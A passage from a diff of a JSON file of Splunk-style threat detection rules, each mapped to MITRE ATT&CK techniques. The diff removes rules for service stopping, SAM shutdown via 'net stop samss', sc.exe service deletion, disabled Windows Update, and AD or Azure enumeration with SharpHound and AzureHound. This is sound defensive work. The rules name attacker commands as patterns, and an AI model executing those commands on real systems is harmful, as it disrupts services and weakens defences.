deploy destructive payloads, severely impacting system integrity and availability.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name IN (\"systemctl\", \"service\", \"svcadm\") Processes.process =\"*stop*\" by Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_stop_services_filter`", - "tags": { - "analytic_story": [ - "AwfulShred", - "Data Destruction", - "Industroyer2" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified attempting to stop services on endpoint $dest$ by $user$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1489", - "mitre_attack_technique": "Service Stop", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "Indrik Spider", - "LAPSUS$", - "Lazarus Group", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Processes Killed By Industroyer2 Malware", - "description": "The following analytic detects the termination of specific processes by the Industroyer2 malware. It leverages Sysmon EventCode 5 to identify when processes like \"PServiceControl.exe\" and \"PService_PPD.exe\" are killed. This activity is significant as it targets processes related to energy facility networks, indicating a potential attack on critical infrastructure. If confirmed malicious, this could lead to disruption of essential services, loss of control over energy systems, and significant operational impact. Immediate investigation is required to determine the cause and mitigate any potential threats.", - "search": "`sysmon` EventCode=5 process_name IN (\"PServiceControl.exe\", \"PService_PPD.exe\") | stats min(_time) as firstTime max(_time) as lastTime count by process_name process process_path process_guid process_id EventCode dest user_id | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `windows_processes_killed_by_industroyer2_malware_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Industroyer2" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "process was terminated $process_name$ in $dest$", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1489", - "mitre_attack_technique": "Service Stop", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "Indrik Spider", - "LAPSUS$", - "Lazarus Group", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Security Account Manager Stopped", - "description": "The following analytic detects the stopping of the Windows Security Account Manager (SAM) service via command-line, typically using the \"net stop samss\" command. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant because stopping the SAM service can disrupt authentication mechanisms and is often associated with ransomware attacks like Ryuk. If confirmed malicious, this action could lead to unauthorized access, privilege escalation, and potential system-wide compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Processes WHERE (\"Processes.process_name\"=\"net*.exe\" \"Processes.process\"=\"*stop \\\"samss\\\"*\") BY Processes.dest Processes.user Processes.process Processes.process_guid Processes.process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `windows_security_account_manager_stopped_filter`", - "tags": { - "analytic_story": [ - "Ryuk Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "The Windows Security Account Manager (SAM) was stopped via cli by $user$ on $dest$ by this command: $process$", - "risk_score": 70, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1489", - "mitre_attack_technique": "Service Stop", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "Indrik Spider", - "LAPSUS$", - "Lazarus Group", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Service Deletion In Registry", - "description": "The following analytic detects the deletion of a service from the Windows Registry under CurrentControlSet\\Services. It leverages data from the Endpoint.Registry datamodel, specifically monitoring registry paths and actions related to service deletion. This activity is significant as adversaries may delete services to evade detection and hinder incident response efforts. If confirmed malicious, this action could disrupt legitimate services, impair system functionality, and potentially allow attackers to maintain a lower profile within the environment, complicating detection and remediation efforts.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\SYSTEM\\\\CurrentControlSet\\\\Services*\" AND (Registry.action = deleted OR (Registry.registry_value_name = DeleteFlag AND Registry.registry_value_data = 0x00000001 AND Registry.action=modified)) by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.registry_value_name Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_service_deletion_in_registry_filter`", - "tags": { - "analytic_story": [ - "Brute Ratel C4", - "PlugX" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A service was deleted on $dest$ within the Windows registry.", - "risk_score": 18, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1489", - "mitre_attack_technique": "Service Stop", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "Indrik Spider", - "LAPSUS$", - "Lazarus Group", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Service Stop By Deletion", - "description": "The following analytic detects the use of `sc.exe` to delete a Windows service. It leverages Endpoint Detection and Response (EDR) data, focusing on process execution logs that capture command-line arguments. This activity is significant because adversaries often delete services to disable security mechanisms or critical system functions, aiding in evasion and persistence. If confirmed malicious, this action could lead to the termination of essential security services, allowing attackers to operate undetected and potentially escalate their privileges or maintain long-term access to the compromised system.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name = sc.exe OR Processes.original_file_name = sc.exe) Processes.process=\"* delete *\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_service_stop_by_deletion_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "Graceful Wipe Out Attack" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ attempting to delete a service.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1489", - "mitre_attack_technique": "Service Stop", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "Indrik Spider", - "LAPSUS$", - "Lazarus Group", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Service Stop Via Net and SC Application", - "description": "The following analytic identifies attempts to stop services on a system using `net.exe` or `sc.exe`. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, GUIDs, and command-line executions. This activity is significant as adversaries often terminate security or critical services to evade detection and further their objectives. If confirmed malicious, this behavior could allow attackers to disable security defenses, facilitate ransomware encryption, or disrupt essential services, leading to potential data loss or system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_net` OR Processes.process_name = \"sc.exe\" OR Processes.original_file_name= \"sc.exe\" AND Processes.process=\"*stop*\" by Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.process_guid Processes.parent_process_name Processes.parent_process Processes.parent_process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_service_stop_via_net__and_sc_application_filter`", - "tags": { - "analytic_story": [ - "Graceful Wipe Out Attack", - "Prestige Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "$process$ was executed on $dest$ attempting to stop service.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1489", - "mitre_attack_technique": "Service Stop", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "Indrik Spider", - "LAPSUS$", - "Lazarus Group", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Service Stop Win Updates", - "description": "The following analytic detects the disabling of Windows Update services, such as \"Update Orchestrator Service for Windows Update,\" \"WaaSMedicSvc,\" and \"Windows Update.\" It leverages Windows System Event ID 7040 logs to identify changes in service start modes to 'disabled.' This activity is significant as it can indicate an adversary's attempt to evade defenses by preventing critical updates, leaving the system vulnerable to exploits. If confirmed malicious, this could allow attackers to maintain persistence and exploit unpatched vulnerabilities, compromising the integrity and security of the affected host.", - "search": "`wineventlog_system` EventCode=7040 (service_name IN (\"Update Orchestrator Service for Windows Update\", \"WaaSMedicSvc\", \"Windows Update\") OR param1 IN (\"UsoSvc\", \"WaaSMedicSvc\", \"wuauserv\")) AND (param3=disabled OR start_mode = disabled) | stats count min(_time) as firstTime max(_time) as lastTime by Computer Error_Code service_name start_mode param1 param2 param3 param4 | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_service_stop_win_updates_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "RedLine Stealer" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows update services $service_name$ was being disabled on $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1489", - "mitre_attack_technique": "Service Stop", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "Indrik Spider", - "LAPSUS$", - "Lazarus Group", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Valid Account With Never Expires Password", - "description": "The following analytic detects the use of net.exe to update user account policies to set passwords as non-expiring. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions involving \"/maxpwage:unlimited\". This activity is significant as it can indicate an attempt to maintain persistence, escalate privileges, evade defenses, or facilitate lateral movement. If confirmed malicious, this behavior could allow an attacker to maintain long-term access to compromised accounts, potentially leading to further exploitation and unauthorized access to sensitive information.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_net` AND Processes.process=\"* accounts *\" AND Processes.process=\"* /maxpwage:unlimited\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_valid_account_with_never_expires_password_filter`", - "tags": { - "analytic_story": [ - "Azorult" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ attempting to make non-expiring password on host user accounts.", - "risk_score": 100, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1489", - "mitre_attack_technique": "Service Stop", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "Indrik Spider", - "LAPSUS$", - "Lazarus Group", - "Wizard Spider" - ] - } - ] - } } ], "external_reference": [ @@ -173174,9 +141741,6 @@ "supported_platforms": [ "windows" ], - "input_arguments": null, - "dependency_executor_name": null, - "dependencies": null, "executor": { "command": "driverquery /v /fo list\ndriverquery /si /fo list\n", "cleanup_command": null, @@ -174131,3059 +142695,6 @@ "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", "https://tools.ietf.org/html/rfc2866" ] - }, - { - "name": "Account Discovery With Net App", - "description": "The following analytic detects potential account discovery activities using the 'net' command, commonly employed by malware like Trickbot for reconnaissance. It leverages Endpoint Detection and Response (EDR) data, focusing on specific command-line patterns and process relationships. This activity is significant as it often precedes further malicious actions, such as lateral movement or privilege escalation. If confirmed malicious, attackers could gain valuable information about user accounts, enabling them to escalate privileges or move laterally within the network, posing a significant security risk.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process values(Processes.parent_process) as parent_process values(Processes.process_id) as process_id count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_net` AND (Processes.process=\"* user *\" OR Processes.process=\"*config*\" OR Processes.process=\"*view /all*\") by Processes.process_name Processes.dest Processes.user Processes.parent_process_name | where count >=4 | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `account_discovery_with_net_app_filter`", - "tags": { - "analytic_story": [ - "IcedID", - "Trickbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process Name", - "role": [ - "Child Process" - ] - } - ], - "message": "Suspicious $process_name$ usage detected on endpoint $dest$ by user $user$.", - "risk_score": 5, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - } - ] - } - }, - { - "name": "AdsiSearcher Account Discovery", - "description": "The following analytic detects the use of the `[Adsisearcher]` type accelerator in PowerShell to query Active Directory for domain users. It leverages PowerShell Script Block Logging (EventCode=4104) to identify script blocks containing `[adsisearcher]`, `objectcategory=user`, and `.findAll()`. This activity is significant as it may indicate an attempt by adversaries or Red Teams to enumerate domain users for situational awareness and Active Directory discovery. If confirmed malicious, this could lead to further reconnaissance, privilege escalation, or lateral movement within the network.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*[adsisearcher]*\" ScriptBlockText = \"*objectcategory=user*\" ScriptBlockText = \"*.findAll()*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode Computer ScriptBlockText UserID | rename Computer as dest, UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `adsisearcher_account_discovery_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "CISA AA23-347A", - "Data Destruction", - "Industroyer2" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Powershell process having commandline \"AdsiSearcher\" used for user enumeration on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - } - ] - } - }, - { - "name": "Detect AzureHound Command-Line Arguments", - "description": "The following analytic detects the execution of the `Invoke-AzureHound` command-line argument, commonly used by the AzureHound tool. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant because AzureHound is often used for reconnaissance in Azure environments, potentially exposing sensitive information. If confirmed malicious, this activity could allow an attacker to map out Azure Active Directory structures, aiding in further attacks and privilege escalation.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process IN (\"*invoke-azurehound*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.parent_process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_azurehound_command_line_arguments_filter`", - "tags": { - "analytic_story": [ - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ using AzureHound to enumerate AzureAD.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Detect AzureHound File Modifications", - "description": "The following analytic detects the creation of specific AzureHound-related files, such as `*-azurecollection.zip` and various `.json` files, on disk. It leverages data from the Endpoint.Filesystem datamodel, focusing on file creation events with specific filenames. This activity is significant because AzureHound is a tool used to gather information about Azure environments, similar to SharpHound for on-premises Active Directory. If confirmed malicious, this activity could indicate an attacker is collecting sensitive Azure environment data, potentially leading to further exploitation or privilege escalation within the cloud infrastructure.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where Filesystem.file_name IN (\"*-azurecollection.zip\", \"*-azprivroleadminrights.json\", \"*-azglobaladminrights.json\", \"*-azcloudappadmins.json\", \"*-azapplicationadmins.json\") by Filesystem.file_create_time Filesystem.process_id Filesystem.file_name Filesystem.file_path Filesystem.dest Filesystem.user | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_azurehound_file_modifications_filter`", - "tags": { - "analytic_story": [ - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Victim" - ] - } - ], - "message": "A file - $file_name$ was written to disk that is related to AzureHound, a AzureAD enumeration utility, has occurred on endpoint $dest$ by user $user$.", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Detect SharpHound Command-Line Arguments", - "description": "The following analytic detects the execution of SharpHound command-line arguments, specifically `-collectionMethod` and `invoke-bloodhound`. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as SharpHound is commonly used for Active Directory enumeration, which can be a precursor to lateral movement or privilege escalation. If confirmed malicious, this activity could allow an attacker to map out the network, identify high-value targets, and plan further attacks, potentially compromising sensitive information and critical systems.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process IN (\"*-collectionMethod*\",\"*invoke-bloodhound*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_sharphound_command_line_arguments_filter`", - "tags": { - "analytic_story": [ - "Ransomware", - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Possible SharpHound command-Line arguments identified on $dest$", - "risk_score": 24, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Detect SharpHound File Modifications", - "description": "The following analytic detects the creation of files typically associated with SharpHound, a reconnaissance tool used for gathering domain and trust data. It leverages file modification events from the Endpoint.Filesystem data model, focusing on default file naming patterns like `*_BloodHound.zip` and various JSON files. This activity is significant as it indicates potential domain enumeration, which is a precursor to more targeted attacks. If confirmed malicious, an attacker could gain detailed insights into the domain structure, facilitating lateral movement and privilege escalation.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where Filesystem.file_name IN (\"*bloodhound.zip\", \"*_computers.json\", \"*_gpos.json\", \"*_domains.json\", \"*_users.json\", \"*_groups.json\", \"*_ous.json\", \"*_containers.json\") by Filesystem.file_create_time Filesystem.process_id Filesystem.file_name Filesystem.file_path Filesystem.dest Filesystem.user| `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_sharphound_file_modifications_filter`", - "tags": { - "analytic_story": [ - "Ransomware", - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ 